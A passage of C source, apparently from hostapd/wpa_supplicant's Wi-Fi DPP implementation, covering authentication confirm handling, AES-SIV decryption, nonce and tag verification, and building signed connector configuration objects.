dpp_auth_fail(auth, "I-nonce mismatch"); goto fail; } if (auth->own_bi && auth->peer_bi) { /* Mutual authentication */ if (dpp_auth_derive_l_initiator(auth) < 0) goto fail; } r_capab = dpp_get_attr(unwrapped, unwrapped_len, DPP_ATTR_R_CAPABILITIES, &r_capab_len); if (!r_capab || r_capab_len < 1) { dpp_auth_fail(auth, "Missing or invalid R-capabilities"); goto fail; } auth->r_capab = r_capab[0]; wpa_printf(MSG_DEBUG, "DPP: R-capabilities: 0x%02x", auth->r_capab); role = auth->r_capab & DPP_CAPAB_ROLE_MASK; if ((auth->allowed_roles == (DPP_CAPAB_CONFIGURATOR | DPP_CAPAB_ENROLLEE)) && (role == DPP_CAPAB_CONFIGURATOR || role == DPP_CAPAB_ENROLLEE)) { /* Peer selected its role, so move from "either role" to the * role that is compatible with peer's selection. */ auth->configurator = role == DPP_CAPAB_ENROLLEE; wpa_printf(MSG_DEBUG, "DPP: Acting as %s", auth->configurator ? "Configurator" : "Enrollee"); } else if ((auth->configurator && role != DPP_CAPAB_ENROLLEE) || (!auth->configurator && role != DPP_CAPAB_CONFIGURATOR)) { wpa_printf(MSG_DEBUG, "DPP: Incompatible role selection"); wpa_msg(auth->msg_ctx, MSG_INFO, DPP_EVENT_FAIL "Unexpected role in R-capabilities 0x%02x", role); if (role != DPP_CAPAB_ENROLLEE && role != DPP_CAPAB_CONFIGURATOR) goto fail; bin_clear_free(unwrapped, unwrapped_len); auth->remove_on_tx_status = 1; return dpp_auth_build_conf(auth, DPP_STATUS_NOT_COMPATIBLE); } wrapped2 = dpp_get_attr(unwrapped, unwrapped_len, DPP_ATTR_WRAPPED_DATA, &wrapped2_len); if (!wrapped2 || wrapped2_len < AES_BLOCK_SIZE) { dpp_auth_fail(auth, "Missing or invalid Secondary Wrapped Data"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV ciphertext", wrapped2, wrapped2_len); if (dpp_derive_ke(auth, auth->ke, auth->curve->hash_len) < 0) goto fail; unwrapped2_len = wrapped2_len - AES_BLOCK_SIZE; unwrapped2 = os_malloc(unwrapped2_len); if (!unwrapped2) goto fail; if (aes_siv_decrypt(auth->ke, auth->curve->hash_len, wrapped2, wrapped2_len, 0, NULL, NULL, unwrapped2) < 0) { dpp_auth_fail(auth, "AES-SIV decryption failed"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV cleartext", unwrapped2, unwrapped2_len); if (dpp_check_attrs(unwrapped2, unwrapped2_len) < 0) { dpp_auth_fail(auth, "Invalid attribute in secondary unwrapped data"); goto fail; } r_auth = dpp_get_attr(unwrapped2, unwrapped2_len, DPP_ATTR_R_AUTH_TAG, &r_auth_len); if (!r_auth || r_auth_len != auth->curve->hash_len) { dpp_auth_fail(auth, "Missing or invalid Responder Authenticating Tag"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: Received Responder Authenticating Tag", r_auth, r_auth_len); /* R-auth' = H(I-nonce | R-nonce | PI.x | PR.x | [BI.x |] BR.x | 0) */ if (dpp_gen_r_auth(auth, r_auth2) < 0) goto fail; wpa_hexdump(MSG_DEBUG, "DPP: Calculated Responder Authenticating Tag", r_auth2, r_auth_len); if (os_memcmp(r_auth, r_auth2, r_auth_len) != 0) { dpp_auth_fail(auth, "Mismatching Responder Authenticating Tag"); bin_clear_free(unwrapped, unwrapped_len); bin_clear_free(unwrapped2, unwrapped2_len); auth->remove_on_tx_status = 1; return dpp_auth_build_conf(auth, DPP_STATUS_AUTH_FAILURE); } bin_clear_free(unwrapped, unwrapped_len); bin_clear_free(unwrapped2, unwrapped2_len); #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_AUTH_RESP_IN_PLACE_OF_CONF) { wpa_printf(MSG_INFO, "DPP: TESTING - Authentication Response in place of Confirm"); if (dpp_auth_build_resp_ok(auth) < 0) return NULL; return wpabuf_dup(auth->resp_msg); } #endif /* CONFIG_TESTING_OPTIONS */ return dpp_auth_build_conf(auth, DPP_STATUS_OK); fail: bin_clear_free(unwrapped, unwrapped_len); bin_clear_free(unwrapped2, unwrapped2_len); EVP_PKEY_free(pr); EVP_PKEY_CTX_free(ctx); return NULL; } static int dpp_auth_conf_rx_failure(struct dpp_authentication *auth, const u8 *hdr, const u8 *attr_start, size_t attr_len, const u8 *wrapped_data, u16 wrapped_data_len, enum dpp_status_error status) { const u8 *addr[2]; size_t len[2]; u8 *unwrapped = NULL; size_t unwrapped_len = 0; const u8 *r_nonce; u16 r_nonce_len; /* Authentication Confirm failure cases are expected to include * {R-nonce}k2 in the Wrapped Data attribute. */ addr[0] = hdr; len[0] = DPP_HDR_LEN; addr[1] = attr_start; len[1] = attr_len; wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[0]", addr[0], len[0]); wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[1]", addr[1], len[1]); wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV ciphertext", wrapped_data, wrapped_data_len); unwrapped_len = wrapped_data_len - AES_BLOCK_SIZE; unwrapped = os_malloc(unwrapped_len); if (!unwrapped) { dpp_auth_fail(auth, "Authentication failed"); goto fail; } if (aes_siv_decrypt(auth->k2, auth->curve->hash_len, wrapped_data, wrapped_data_len, 2, addr, len, unwrapped) < 0) { dpp_auth_fail(auth, "AES-SIV decryption failed"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV cleartext", unwrapped, unwrapped_len); if (dpp_check_attrs(unwrapped, unwrapped_len) < 0) { dpp_auth_fail(auth, "Invalid attribute in unwrapped data"); goto fail; } r_nonce = dpp_get_attr(unwrapped, unwrapped_len, DPP_ATTR_R_NONCE, &r_nonce_len); if (!r_nonce || r_nonce_len != auth->curve->nonce_len) { dpp_auth_fail(auth, "DPP: Missing or invalid R-nonce"); goto fail; } if (os_memcmp(r_nonce, auth->r_nonce, r_nonce_len) != 0) { wpa_hexdump(MSG_DEBUG, "DPP: Received R-nonce", r_nonce, r_nonce_len); wpa_hexdump(MSG_DEBUG, "DPP: Expected R-nonce", auth->r_nonce, r_nonce_len); dpp_auth_fail(auth, "R-nonce mismatch"); goto fail; } if (status == DPP_STATUS_NOT_COMPATIBLE) dpp_auth_fail(auth, "Peer reported incompatible R-capab role"); else if (status == DPP_STATUS_AUTH_FAILURE) dpp_auth_fail(auth, "Peer reported authentication failure)"); fail: bin_clear_free(unwrapped, unwrapped_len); return -1; } int dpp_auth_conf_rx(struct dpp_authentication *auth, const u8 *hdr, const u8 *attr_start, size_t attr_len) { const u8 *r_bootstrap, *i_bootstrap, *wrapped_data, *status, *i_auth; u16 r_bootstrap_len, i_bootstrap_len, wrapped_data_len, status_len, i_auth_len; const u8 *addr[2]; size_t len[2]; u8 *unwrapped = NULL; size_t unwrapped_len = 0; u8 i_auth2[DPP_MAX_HASH_LEN]; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_STOP_AT_AUTH_CONF) { wpa_printf(MSG_INFO, "DPP: TESTING - stop at Authentication Confirm"); return -1; } #endif /* CONFIG_TESTING_OPTIONS */ if (auth->initiator) { dpp_auth_fail(auth, "Unexpected Authentication Confirm"); return -1; } auth->waiting_auth_conf = 0; wrapped_data = dpp_get_attr(attr_start, attr_len, DPP_ATTR_WRAPPED_DATA, &wrapped_data_len); if (!wrapped_data || wrapped_data_len < AES_BLOCK_SIZE) { dpp_auth_fail(auth, "Missing or invalid required Wrapped Data attribute"); return -1; } wpa_hexdump(MSG_DEBUG, "DPP: Wrapped data", wrapped_data, wrapped_data_len); attr_len = wrapped_data - 4 - attr_start; r_bootstrap = dpp_get_attr(attr_start, attr_len, DPP_ATTR_R_BOOTSTRAP_KEY_HASH, &r_bootstrap_len); if (!r_bootstrap || r_bootstrap_len != SHA256_MAC_LEN) { dpp_auth_fail(auth, "Missing or invalid required Responder Bootstrapping Key Hash attribute"); return -1; } wpa_hexdump(MSG_DEBUG, "DPP: Responder Bootstrapping Key Hash", r_bootstrap, r_bootstrap_len); if (os_memcmp(r_bootstrap, auth->own_bi->pubkey_hash, SHA256_MAC_LEN) != 0) { wpa_hexdump(MSG_DEBUG, "DPP: Expected Responder Bootstrapping Key Hash", auth->peer_bi->pubkey_hash, SHA256_MAC_LEN); dpp_auth_fail(auth, "Responder Bootstrapping Key Hash mismatch"); return -1; } i_bootstrap = dpp_get_attr(attr_start, attr_len, DPP_ATTR_I_BOOTSTRAP_KEY_HASH, &i_bootstrap_len); if (i_bootstrap) { if (i_bootstrap_len != SHA256_MAC_LEN) { dpp_auth_fail(auth, "Invalid Initiator Bootstrapping Key Hash attribute"); return -1; } wpa_hexdump(MSG_MSGDUMP, "DPP: Initiator Bootstrapping Key Hash", i_bootstrap, i_bootstrap_len); if (!auth->peer_bi || os_memcmp(i_bootstrap, auth->peer_bi->pubkey_hash, SHA256_MAC_LEN) != 0) { dpp_auth_fail(auth, "Initiator Bootstrapping Key Hash mismatch"); return -1; } } else if (auth->own_bi && auth->peer_bi) { /* Mutual authentication and peer did not include its * Bootstrapping Key Hash attribute. */ dpp_auth_fail(auth, "Missing Initiator Bootstrapping Key Hash attribute"); return -1; } status = dpp_get_attr(attr_start, attr_len, DPP_ATTR_STATUS, &status_len); if (!status || status_len < 1) { dpp_auth_fail(auth, "Missing or invalid required DPP Status attribute"); return -1; } wpa_printf(MSG_DEBUG, "DPP: Status %u", status[0]); if (status[0] == DPP_STATUS_NOT_COMPATIBLE || status[0] == DPP_STATUS_AUTH_FAILURE) return dpp_auth_conf_rx_failure(auth, hdr, attr_start, attr_len, wrapped_data, wrapped_data_len, status[0]); if (status[0] != DPP_STATUS_OK) { dpp_auth_fail(auth, "Authentication failed"); return -1; } addr[0] = hdr; len[0] = DPP_HDR_LEN; addr[1] = attr_start; len[1] = attr_len; wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[0]", addr[0], len[0]); wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD[1]", addr[1], len[1]); wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV ciphertext", wrapped_data, wrapped_data_len); unwrapped_len = wrapped_data_len - AES_BLOCK_SIZE; unwrapped = os_malloc(unwrapped_len); if (!unwrapped) return -1; if (aes_siv_decrypt(auth->ke, auth->curve->hash_len, wrapped_data, wrapped_data_len, 2, addr, len, unwrapped) < 0) { dpp_auth_fail(auth, "AES-SIV decryption failed"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV cleartext", unwrapped, unwrapped_len); if (dpp_check_attrs(unwrapped, unwrapped_len) < 0) { dpp_auth_fail(auth, "Invalid attribute in unwrapped data"); goto fail; } i_auth = dpp_get_attr(unwrapped, unwrapped_len, DPP_ATTR_I_AUTH_TAG, &i_auth_len); if (!i_auth || i_auth_len != auth->curve->hash_len) { dpp_auth_fail(auth, "Missing or invalid Initiator Authenticating Tag"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: Received Initiator Authenticating Tag", i_auth, i_auth_len); /* I-auth' = H(R-nonce | I-nonce | PR.x | PI.x | BR.x | [BI.x |] 1) */ if (dpp_gen_i_auth(auth, i_auth2) < 0) goto fail; wpa_hexdump(MSG_DEBUG, "DPP: Calculated Initiator Authenticating Tag", i_auth2, i_auth_len); if (os_memcmp(i_auth, i_auth2, i_auth_len) != 0) { dpp_auth_fail(auth, "Mismatching Initiator Authenticating Tag"); goto fail; } bin_clear_free(unwrapped, unwrapped_len); dpp_auth_success(auth); return 0; fail: bin_clear_free(unwrapped, unwrapped_len); return -1; } void dpp_configuration_free(struct dpp_configuration *conf) { if (!conf) return; str_clear_free(conf->passphrase); bin_clear_free(conf, sizeof(*conf)); } void dpp_auth_deinit(struct dpp_authentication *auth) { if (!auth) return; dpp_configuration_free(auth->conf_ap); dpp_configuration_free(auth->conf_sta); EVP_PKEY_free(auth->own_protocol_key); EVP_PKEY_free(auth->peer_protocol_key); wpabuf_free(auth->req_msg); wpabuf_free(auth->resp_msg); wpabuf_free(auth->conf_req); os_free(auth->connector); wpabuf_free(auth->net_access_key); wpabuf_free(auth->c_sign_key); dpp_bootstrap_info_free(auth->tmp_own_bi); #ifdef CONFIG_TESTING_OPTIONS os_free(auth->config_obj_override); os_free(auth->discovery_override); os_free(auth->groups_override); #endif /* CONFIG_TESTING_OPTIONS */ bin_clear_free(auth, sizeof(*auth)); } static struct wpabuf * dpp_build_conf_start(struct dpp_authentication *auth, struct dpp_configuration *conf, size_t tailroom) { struct wpabuf *buf; char ssid[6 * sizeof(conf->ssid) + 1]; #ifdef CONFIG_TESTING_OPTIONS if (auth->discovery_override) tailroom += os_strlen(auth->discovery_override); #endif /* CONFIG_TESTING_OPTIONS */ buf = wpabuf_alloc(200 + tailroom); if (!buf) return NULL; wpabuf_put_str(buf, "{\"wi-fi_tech\":\"infra\",\"discovery\":"); #ifdef CONFIG_TESTING_OPTIONS if (auth->discovery_override) { wpa_printf(MSG_DEBUG, "DPP: TESTING - discovery override: '%s'", auth->discovery_override); wpabuf_put_str(buf, auth->discovery_override); wpabuf_put_u8(buf, ','); return buf; } #endif /* CONFIG_TESTING_OPTIONS */ wpabuf_put_str(buf, "{\"ssid\":\""); json_escape_string(ssid, sizeof(ssid), (const char *) conf->ssid, conf->ssid_len); wpabuf_put_str(buf, ssid); wpabuf_put_str(buf, "\"},"); return buf; } static int dpp_build_jwk(struct wpabuf *buf, const char *name, EVP_PKEY *key, const char *kid, const struct dpp_curve_params *curve) { struct wpabuf *pub; const u8 *pos; char *x = NULL, *y = NULL; int ret = -1; pub = dpp_get_pubkey_point(key, 0); if (!pub) goto fail; pos = wpabuf_head(pub); x = (char *) base64_url_encode(pos, curve->prime_len, NULL, 0); pos += curve->prime_len; y = (char *) base64_url_encode(pos, curve->prime_len, NULL, 0); if (!x || !y) goto fail; wpabuf_put_str(buf, "\""); wpabuf_put_str(buf, name); wpabuf_put_str(buf, "\":{\"kty\":\"EC\",\"crv\":\""); wpabuf_put_str(buf, curve->jwk_crv); wpabuf_put_str(buf, "\",\"x\":\""); wpabuf_put_str(buf, x); wpabuf_put_str(buf, "\",\"y\":\""); wpabuf_put_str(buf, y); if (kid) { wpabuf_put_str(buf, "\",\"kid\":\""); wpabuf_put_str(buf, kid); } wpabuf_put_str(buf, "\"}"); ret = 0; fail: wpabuf_free(pub); os_free(x); os_free(y); return ret; } static struct wpabuf * dpp_build_conf_obj_dpp(struct dpp_authentication *auth, int ap, struct dpp_configuration *conf) { struct wpabuf *buf = NULL; char *signed1 = NULL, *signed2 = NULL, *signed3 = NULL; size_t tailroom; const struct dpp_curve_params *curve; char jws_prot_hdr[100]; size_t signed1_len, signed2_len, signed3_len; struct wpabuf *dppcon = NULL; unsigned char *signature = NULL; const unsigned char *p; size_t signature_len; EVP_MD_CTX *md_ctx = NULL; ECDSA_SIG *sig = NULL; char *dot = "."; const EVP_MD *sign_md; const BIGNUM *r, *s; size_t extra_len = 1000; if (!auth->conf) { wpa_printf(MSG_INFO, "DPP: No configurator specified - cannot generate DPP config object"); goto fail; } curve = auth->conf->curve; if (curve->hash_len == SHA256_MAC_LEN) { sign_md = EVP_sha256(); } else if (curve->hash_len == SHA384_MAC_LEN) { sign_md = EVP_sha384(); } else if (curve->hash_len == SHA512_MAC_LEN) { sign_md = EVP_sha512(); } else { wpa_printf(MSG_DEBUG, "DPP: Unknown signature algorithm"); goto fail; } #ifdef CONFIG_TESTING_OPTIONS if (auth->groups_override) extra_len += os_strlen(auth->groups_override); #endif /* CONFIG_TESTING_OPTIONS */ /* Connector (JSON dppCon object) */ dppcon = wpabuf_alloc(extra_len + 2 * auth->curve->prime_len * 4 / 3); if (!dppcon) goto fail; #ifdef CONFIG_TESTING_OPTIONS if (auth->groups_override) { wpabuf_put_u8(dppcon, '{'); if (auth->groups_override) { wpa_printf(MSG_DEBUG, "DPP: TESTING - groups override: '%s'", auth->groups_override); wpabuf_put_str(dppcon, "\"groups\":"); wpabuf_put_str(dppcon, auth->groups_override); wpabuf_put_u8(dppcon, ','); } goto skip_groups; } #endif /* CONFIG_TESTING_OPTIONS */ wpabuf_put_str(dppcon, "{\"groups\":[{\"groupId\":\"*\","); wpabuf_printf(dppcon, "\"netRole\":\"%s\"}],", ap ? "ap" : "sta"); #ifdef CONFIG_TESTING_OPTIONS skip_groups: #endif /* CONFIG_TESTING_OPTIONS */ if (dpp_build_jwk(dppcon, "netAccessKey", auth->peer_protocol_key, NULL, auth->curve) < 0) { wpa_printf(MSG_DEBUG, "DPP: Failed to build netAccessKey JWK"); goto fail; } if (conf->netaccesskey_expiry) { struct os_tm tm; if (os_gmtime(conf->netaccesskey_expiry, &tm) < 0) { wpa_printf(MSG_DEBUG, "DPP: Failed to generate expiry string"); goto fail; } wpabuf_printf(dppcon, ",\"expiry\":\"%04u-%02u-%02uT%02u:%02u:%02uZ\"", tm.year, tm.month, tm.day, tm.hour, tm.min, tm.sec); } wpabuf_put_u8(dppcon, '}'); wpa_printf(MSG_DEBUG, "DPP: dppCon: %s", (const char *) wpabuf_head(dppcon)); os_snprintf(jws_prot_hdr, sizeof(jws_prot_hdr), "{\"typ\":\"dppCon\",\"kid\":\"%s\",\"alg\":\"%s\"}", auth->conf->kid, curve->jws_alg); signed1 = (char *) base64_url_encode((unsigned char *) jws_prot_hdr, os_strlen(jws_prot_hdr), &signed1_len, 0); signed2 = (char *) base64_url_encode(wpabuf_head(dppcon), wpabuf_len(dppcon), &signed2_len, 0); if (!signed1 || !signed2) goto fail; md_ctx = EVP_MD_CTX_create(); if (!md_ctx) goto fail; ERR_clear_error(); if (EVP_DigestSignInit(md_ctx, NULL, sign_md, NULL, auth->conf->csign) != 1) { wpa_printf(MSG_DEBUG, "DPP: EVP_DigestSignInit failed: %s", ERR_error_string(ERR_get_error(), NULL)); goto fail; } if (EVP_DigestSignUpdate(md_ctx, signed1, signed1_len) != 1 || EVP_DigestSignUpdate(md_ctx, dot, 1) != 1 || EVP_DigestSignUpdate(md_ctx, signed2, signed2_len) != 1) { wpa_printf(MSG_DEBUG, "DPP: EVP_DigestSignUpdate failed: %s", ERR_error_string(ERR_get_error(), NULL)); goto fail; } if (EVP_DigestSignFinal(md_ctx, NULL, &signature_len) != 1) { wpa_printf(MSG_DEBUG, "DPP: EVP_DigestSignFinal failed: %s", ERR_error_string(ERR_get_error(), NULL)); goto fail; } signature = os_malloc(signature_len); if (!signature) goto fail; if (EVP_DigestSignFinal(md_ctx, signature, &signature_len) != 1) { wpa_printf(MSG_DEBUG, "DPP: EVP_DigestSignFinal failed: %s", ERR_error_string(ERR_get_error(), NULL)); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: signedConnector ECDSA signature (DER)", signature, signature_len); /* Convert to raw coordinates r,s */ p = signature; sig = d2i_ECDSA_SIG(NULL, &p, signature_len); if (!sig) goto fail; ECDSA_SIG_get0(sig, &r, &s); if (dpp_bn2bin_pad(r, signature, curve->prime_len) < 0 || dpp_bn2bin_pad(s, signature + curve->prime_len, curve->prime_len) < 0) goto fail; signature_len = 2 * curve->prime_len; wpa_hexdump(MSG_DEBUG, "DPP: signedConnector ECDSA signature (raw r,s)", signature, signature_len); signed3 = (char *) base64_url_encode(signature, signature_len, &signed3_len, 0); if (!signed3) goto fail; tailroom = 1000; tailroom += 2 * curve->prime_len * 4 / 3 + os_strlen(auth->conf->kid); tailroom += signed1_len + signed2_len + signed3_len; buf = dpp_build_conf_start(auth, conf, tailroom); if (!buf) goto fail; wpabuf_put_str(buf, "\"cred\":{\"akm\":\"dpp\",\"signedConnector\":\""); wpabuf_put_str(buf, signed1); wpabuf_put_u8(buf, '.'); wpabuf_put_str(buf, signed2); wpabuf_put_u8(buf, '.'); wpabuf_put_str(buf, signed3); wpabuf_put_str(buf, "\","); if (dpp_build_jwk(buf, "csign", auth->conf->csign, auth->conf->kid, curve) < 0) { wpa_printf(MSG_DEBUG, "DPP: Failed to build csign JWK"); goto fail; } wpabuf_put_str(buf, "}}"); wpa_hexdump_ascii_key(MSG_DEBUG, "DPP: Configuration Object", wpabuf_head(buf), wpabuf_len(buf)); out: EVP_MD_CTX_destroy(md_ctx); ECDSA_SIG_free(sig); os_free(signed1); os_free(signed2); os_free(signed3); os_free(signature); wpabuf_free(dppcon); return buf; fail: wpa_printf(MSG_DEBUG, "DPP: Failed to build configuration object"); wpabuf_free(buf); buf = NULL; goto out; } static struct wpabuf * dpp_build_conf_obj_legacy(struct dpp_authentication *auth, int ap, struct dpp_configuration *conf) { struct wpabuf *buf; buf = dpp_build_conf_start(auth, conf, 1000); if (!buf) return NULL; wpabuf_printf(buf, "\"cred\":{\"akm\":\"%s\",", dpp_akm_str(conf->akm)); if (conf->passphrase) { char pass[63 * 6 + 1]; if (os_strlen(conf->passphrase) > 63) { wpabuf_free(buf); return NULL; } json_escape_string(pass, sizeof(pass), conf->passphrase, os_strlen(conf->passphrase)); wpabuf_put_str(buf, "\"pass\":\""); wpabuf_put_str(buf, pass); wpabuf_put_str(buf, "\""); } else { char psk[2 * sizeof(conf->psk) + 1]; wpa_snprintf_hex(psk, sizeof(psk), conf->psk, sizeof(conf->psk)); wpabuf_put_str(buf, "\"psk_hex\":\""); wpabuf_put_str(buf, psk); wpabuf_put_str(buf, "\""); } wpabuf_put_str(buf, "}}"); wpa_hexdump_ascii_key(MSG_DEBUG, "DPP: Configuration Object (legacy)", wpabuf_head(buf), wpabuf_len(buf)); return buf; } static struct wpabuf * dpp_build_conf_obj(struct dpp_authentication *auth, int ap) { struct dpp_configuration *conf; #ifdef CONFIG_TESTING_OPTIONS if (auth->config_obj_override) { wpa_printf(MSG_DEBUG, "DPP: Testing - Config Object override"); return wpabuf_alloc_copy(auth->config_obj_override, os_strlen(auth->config_obj_override)); } #endif /* CONFIG_TESTING_OPTIONS */ conf = ap ? auth->conf_ap : auth->conf_sta; if (!conf) { wpa_printf(MSG_DEBUG, "DPP: No configuration available for Enrollee(%s) - reject configuration request", ap ? "ap" : "sta"); return NULL; } if (conf->akm == DPP_AKM_DPP) return dpp_build_conf_obj_dpp(auth, ap, conf); return dpp_build_conf_obj_legacy(auth, ap, conf); } static struct wpabuf * dpp_build_conf_resp(struct dpp_authentication *auth, const u8 *e_nonce, u16 e_nonce_len, int ap) { struct wpabuf *conf; size_t clear_len, attr_len; struct wpabuf *clear = NULL, *msg = NULL; u8 *wrapped; const u8 *addr[1]; size_t len[1]; enum dpp_status_error status; conf = dpp_build_conf_obj(auth, ap); if (conf) { wpa_hexdump_ascii(MSG_DEBUG, "DPP: configurationObject JSON", wpabuf_head(conf), wpabuf_len(conf)); } status = conf ? DPP_STATUS_OK : DPP_STATUS_CONFIGURE_FAILURE; /* { E-nonce, configurationObject}ke */ clear_len = 4 + e_nonce_len; if (conf) clear_len += 4 + wpabuf_len(conf); clear = wpabuf_alloc(clear_len); attr_len = 4 + 1 + 4 + clear_len + AES_BLOCK_SIZE; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_AFTER_WRAPPED_DATA_CONF_RESP) attr_len += 5; #endif /* CONFIG_TESTING_OPTIONS */ msg = wpabuf_alloc(attr_len); if (!clear || !msg) goto fail; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_NO_E_NONCE_CONF_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no E-nonce"); goto skip_e_nonce; } if (dpp_test == DPP_TEST_E_NONCE_MISMATCH_CONF_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - E-nonce mismatch"); wpabuf_put_le16(clear, DPP_ATTR_ENROLLEE_NONCE); wpabuf_put_le16(clear, e_nonce_len); wpabuf_put_data(clear, e_nonce, e_nonce_len - 1); wpabuf_put_u8(clear, e_nonce[e_nonce_len - 1] ^ 0x01); goto skip_e_nonce; } if (dpp_test == DPP_TEST_NO_WRAPPED_DATA_CONF_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - no Wrapped Data"); goto skip_wrapped_data; } #endif /* CONFIG_TESTING_OPTIONS */ /* E-nonce */ wpabuf_put_le16(clear, DPP_ATTR_ENROLLEE_NONCE); wpabuf_put_le16(clear, e_nonce_len); wpabuf_put_data(clear, e_nonce, e_nonce_len); #ifdef CONFIG_TESTING_OPTIONS skip_e_nonce: if (dpp_test == DPP_TEST_NO_CONFIG_OBJ_CONF_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - Config Object"); goto skip_config_obj; } #endif /* CONFIG_TESTING_OPTIONS */ if (conf) { wpabuf_put_le16(clear, DPP_ATTR_CONFIG_OBJ); wpabuf_put_le16(clear, wpabuf_len(conf)); wpabuf_put_buf(clear, conf); } #ifdef CONFIG_TESTING_OPTIONS skip_config_obj: if (dpp_test == DPP_TEST_NO_STATUS_CONF_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - Status"); goto skip_status; } if (dpp_test == DPP_TEST_INVALID_STATUS_CONF_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - invalid Status"); status = 255; } #endif /* CONFIG_TESTING_OPTIONS */ /* DPP Status */ dpp_build_attr_status(msg, status); #ifdef CONFIG_TESTING_OPTIONS skip_status: #endif /* CONFIG_TESTING_OPTIONS */ addr[0] = wpabuf_head(msg); len[0] = wpabuf_len(msg); wpa_hexdump(MSG_DEBUG, "DDP: AES-SIV AD", addr[0], len[0]); wpabuf_put_le16(msg, DPP_ATTR_WRAPPED_DATA); wpabuf_put_le16(msg, wpabuf_len(clear) + AES_BLOCK_SIZE); wrapped = wpabuf_put(msg, wpabuf_len(clear) + AES_BLOCK_SIZE); wpa_hexdump_buf(MSG_DEBUG, "DPP: AES-SIV cleartext", clear); if (aes_siv_encrypt(auth->ke, auth->curve->hash_len, wpabuf_head(clear), wpabuf_len(clear), 1, addr, len, wrapped) < 0) goto fail; wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV ciphertext", wrapped, wpabuf_len(clear) + AES_BLOCK_SIZE); #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_AFTER_WRAPPED_DATA_CONF_RESP) { wpa_printf(MSG_INFO, "DPP: TESTING - attr after Wrapped Data"); dpp_build_attr_status(msg, DPP_STATUS_OK); } skip_wrapped_data: #endif /* CONFIG_TESTING_OPTIONS */ wpa_hexdump_buf(MSG_DEBUG, "DPP: Configuration Response attributes", msg); out: wpabuf_free(conf); wpabuf_free(clear); return msg; fail: wpabuf_free(msg); msg = NULL; goto out; } struct wpabuf * dpp_conf_req_rx(struct dpp_authentication *auth, const u8 *attr_start, size_t attr_len) { const u8 *wrapped_data, *e_nonce, *config_attr; u16 wrapped_data_len, e_nonce_len, config_attr_len; u8 *unwrapped = NULL; size_t unwrapped_len = 0; struct wpabuf *resp = NULL; struct json_token *root = NULL, *token; int ap; #ifdef CONFIG_TESTING_OPTIONS if (dpp_test == DPP_TEST_STOP_AT_CONF_REQ) { wpa_printf(MSG_INFO, "DPP: TESTING - stop at Config Request"); return NULL; } #endif /* CONFIG_TESTING_OPTIONS */ if (dpp_check_attrs(attr_start, attr_len) < 0) { dpp_auth_fail(auth, "Invalid attribute in config request"); return NULL; } wrapped_data = dpp_get_attr(attr_start, attr_len, DPP_ATTR_WRAPPED_DATA, &wrapped_data_len); if (!wrapped_data || wrapped_data_len < AES_BLOCK_SIZE) { dpp_auth_fail(auth, "Missing or invalid required Wrapped Data attribute"); return NULL; } wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV ciphertext", wrapped_data, wrapped_data_len); unwrapped_len = wrapped_data_len - AES_BLOCK_SIZE; unwrapped = os_malloc(unwrapped_len); if (!unwrapped) return NULL; if (aes_siv_decrypt(auth->ke, auth->curve->hash_len, wrapped_data, wrapped_data_len, 0, NULL, NULL, unwrapped) < 0) { dpp_auth_fail(auth, "AES-SIV decryption failed"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: AES-SIV cleartext", unwrapped, unwrapped_len); if (dpp_check_attrs(unwrapped, unwrapped_len) < 0) { dpp_auth_fail(auth, "Invalid attribute in unwrapped data"); goto fail; } e_nonce = dpp_get_attr(unwrapped, unwrapped_len, DPP_ATTR_ENROLLEE_NONCE, &e_nonce_len); if (!e_nonce || e_nonce_len != auth->curve->nonce_len) { dpp_auth_fail(auth, "Missing or invalid Enrollee Nonce attribute"); goto fail; } wpa_hexdump(MSG_DEBUG, "DPP: Enrollee Nonce", e_nonce, e_nonce_len); config_attr = dpp_get_attr(unwrapped, unwrapped_len, DPP_ATTR_CONFIG_ATTR_OBJ, &config_attr_len); if (!config_attr) { dpp_auth_fail(auth, "Missing or invalid Config Attributes attribute"); goto fail; } wpa_hexdump_ascii(MSG_DEBUG, "DPP: Config Attributes", config_attr, config_attr_len); root = json_parse((const char *) config_attr, config_attr_len); if (!root) { dpp_auth_fail(auth, "Could not parse Config Attributes"); goto fail; } token = json_get_member(root, "name"); if (!token || token->type != JSON_STRING) { dpp_auth_fail(auth, "No Config Attributes - name"); goto fail; } wpa_printf(MSG_DEBUG, "DPP: Enrollee name = '%s'", token->string); token = json_get_member(root, "wi-fi_tech"); if (!token || token->type != JSON_STRING) { dpp_auth_fail(auth, "No Config Attributes - wi-fi_tech"); goto fail; } wpa_printf(MSG_DEBUG, "DPP: wi-fi_tech = '%s'", token->string); if (os_strcmp(token->string, "infra") != 0) { wpa_printf(MSG_DEBUG, "DPP: Unsupported wi-fi_tech '%s'", token->string); dpp_auth_fail(auth, "Unsupported wi-fi_tech"); goto fail; } token = json_get_member(root, "netRole"); if (!token || token->type != JSON_STRING) { dpp_auth_fail(auth, "No Config Attributes - netRole"); goto fail; } wpa_printf(MSG_DEBUG, "DPP: netRole = '%s'", token->string); if (os_strcmp(token->string, "sta") == 0) { ap = 0; } else if (os_strcmp(token->string, "ap") == 0) { ap = 1; } else { 